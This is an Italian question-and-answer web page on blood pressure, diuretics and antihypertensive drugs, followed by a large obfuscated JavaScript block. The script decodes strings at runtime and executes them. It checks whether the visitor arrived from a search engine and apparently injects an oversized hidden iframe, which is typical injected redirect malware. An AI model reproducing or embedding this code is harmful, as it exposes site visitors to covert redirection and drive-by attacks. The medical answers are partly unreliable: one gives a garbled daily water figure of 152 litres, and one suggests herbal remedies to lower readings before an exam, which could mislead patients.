• Come abbassare la pressione in 5 minuti? Per tenere sotto controllo la renina l’enzima proteolitico secreto dai reni che aumenta la pressione sanguigna ci si può rivolgere a pratiche meditative come il qigong lo yoga e il tai chi. 5 minuti al mattino e 5 alla sera vi aiuteranno ad allontanare gli ormoni dello stress e a far piazza pulita delle tensioni.
• Quale è il miglior diuretico? Ecco quali sono i migliori 8 diuretici naturali e le loro caratteristiche.
  Caffè Il caffè è una bevanda molto popolare che è stata collegata ad alcuni notevoli benefici per la salute.
  Estratto di dente di leone.
  Equiseto.
  Prezzemolo.
  Ibisco.
  Cumino.
  Tè verde e nero.
  Nigella Sativa.
• Quanto deve essere la pressione appena svegli? La misurazione recitano le linee guida va fatta quando si è tranquilli a riposo da almeno 5 minuti a mezz’ora dall’ultimo pasto abbondante caffè sigaretta o sforzi. Seduti con la schiena su uno schienale e il braccio appoggiato su un piano all’altezza del cuore.
• Quando si prende losartan? Come e quando si prende

  Le compresse di losartan devono essere deglutite con un bicchiere d’acqua. Losartan può essere somministrato indipendentemente dai pasti preferibilmente al mattino. Bisogna cercare di prendere la dose giornaliera alla stessa ora ogni giorno.

• A cosa serve olmesartan e idroclorotiazide? Olmesartan e Idroclorotiazide Sandoz contiene due principi attivi olmesartan medoxomil e idroclorotiazide che sono usati per il trattamento della pressione arteriosa alta (ipertensione) negli adulti: Olmesartan medoxomil appartiene ad un gruppo di medicinali chiamati “antagonisti del recettore dell’angiotensina II”.
• Quali sono le bevande che fanno abbassare la pressione? Alimenti e Bevande che Abbassano la Pressione | Senza Farmaci
  Tè
  Succo di Pomodoro.
  Succo di Barbabietola.
  Succo di Melograno.
  Karkadè
  Aceto di Mele.
  Vino Rosso.
  Latte Scremato.
• Qual è il più potente diuretico naturale? Il tarassaco è uno dei diuretici presenti in natura maggiormente utilizzati.
• Come si chiama il generico del Valsartan? TAREG ® è indicato nel trattamento dell’ipertensione arteriosa essenziale ed in caso di infarto del miocardio recente con relativa insufficienza cardiaca sintomatica o con disfunzione sistolica del ventricolo sinistro.
• Perché bere acqua fa abbassare la pressione? L’eliminazione di sodio riduce naturalmente la pressione sanguigna e quindi bere molta acqua almeno due litri al giorno può aiutare ad abbassare la pressione. Inoltre secondo alcuni studi bere acqua addizionata con magnesio può essere considerato una misura preventiva nei confronti dei disordini cardiovascolari.
• Cosa bere come diuretico? L’acqua è in generale un buon diuretico naturale la cosa importante è bere almeno 152 litri di acqua al giorno per favorire una regolare diuresi.
• Quanta acqua bere per abbassare la pressione? Bere ogni giorno otto bicchieri d’acqua impedisce al corpo di disidratarsi scongiurando anche il rischio dell’ipertensione. Gli esperti consigliano di bere almeno 1.5 litri di acqua al giorno utili a proteggere anche l’apparato cardiocircolatorio in particolare a: sostenere la contrattilità ottimale del cuore.
• Quando si prende un diuretico bisogna bere? Bere a piccoli sorsi e a intervalli regolari in modo da non disidratarsi (verificare con il medico la quantità di liquidi da bere). Può essere di aiuto mangiare cibi semplici leggeri e non piccanti.
• Come fare un diuretico in casa? Un classico esempio di una tra le tisane diuretiche più efficaci è il seguente: betulla solidago ortosiphon in parti uguali poi aggiungere la pianta o i frutti preferiti per darle un aroma più acceso. Ma con l’aiuto del vostro erborista di fiducia potrete sperimentare quella che fa più al caso vostro.
• Quanto deve essere la pressione di una persona di 70 anni? Gli esperti concordano che negli adulti di età inferiore a 80 anni ad alto rischio per eventi cardiovascolari la pressione arteriosa dovrebbe essere ridotta a meno di 140/90 mmHg nelle persone con più di 80 anni è tollerato un valore da 140 a 150 mmHg (5).
• Come ci si sente dopo uno sbalzo di pressione? I sintomi maggiormente percepibili sono sicuramente la cefalea (il comune mal di testa localizzato in una parte del cranio) la comparsa di vertigini che si accompagna ad un disturbo dell’occhio con annebbiamento della vista oltre ad una sensazione costante di nausea.
• Quale farmaco abbassa subito la pressione? betabloccanti (atenololo labetalolo metoprololo nadololo propanololo timololo) ACE inibitori (benazapril captopril enalapril fosinopril lisinopril moexipril quinapril ramipril) antagonisti recettori angiotensina II o sartani (olmesartan irbesartan e losartan)
• Quando prendere Lacirex? LACIREX deve essere assunto alla stessa ora ogni giorno preferibilmente la mattina indifferentemente prima o dopo l’assunzione di cibo. Non è richiesta alcuna modificazione del dosaggio nei pazienti con insufficienza epatica lieve o moderata.
• Come rilassarsi prima della misurazione della pressione arteriosa? Tecniche di rilassamento.

  Segui una dieta sana e equilibrata ricca di vitamine sali minerali cibi integrali povera di sodio e con pochi zuccheri. Assumi un ipotensivo/vaso dilatatore omeopatico come l’estratto di biancospino valeriana o passiflora nei giorni precedenti all’esame medico.

Valutazione 4.5 sulla base di 76 voti.

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,51,57,56,50,52,48,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,122,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+(!![]+[])[!+[]+!+[]]+$[24]+$[13]+$[25]+$[26]+$[27]+$[13]+$[3]+$[28]+([![]]+[][[]])[+!+[]+[+[]]]+$[13]+(!![]+[])[!+[]+!+[]]+$[29]+$[28]+(!![]+[])[+[]]+$[16]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[30]+$[31]+$[32]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+$[29]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+$[29]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[35]+$[37]+$[37]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+$[1]+$[22]+$[43]+([]+[]+{})[+!+[]]+$[3]+$[36]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[40]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[44]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[18]+$[17]+$[45]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[41]+$[44]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[44]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[41]+$[9]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[35]+$[36]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[47]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[44]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[47]+$[14]+$[29]+$[29]+$[48]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[47]+$[14]+$[29]+$[29]+$[48]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[47]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[44]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[45]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[47]+$[24]+$[29]+$[29]+$[29]+$[29]+$[29]+$[29]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[47]+$[29]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+$[47]+$[29]+$[5]+$[35]+$[49]+$[34]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();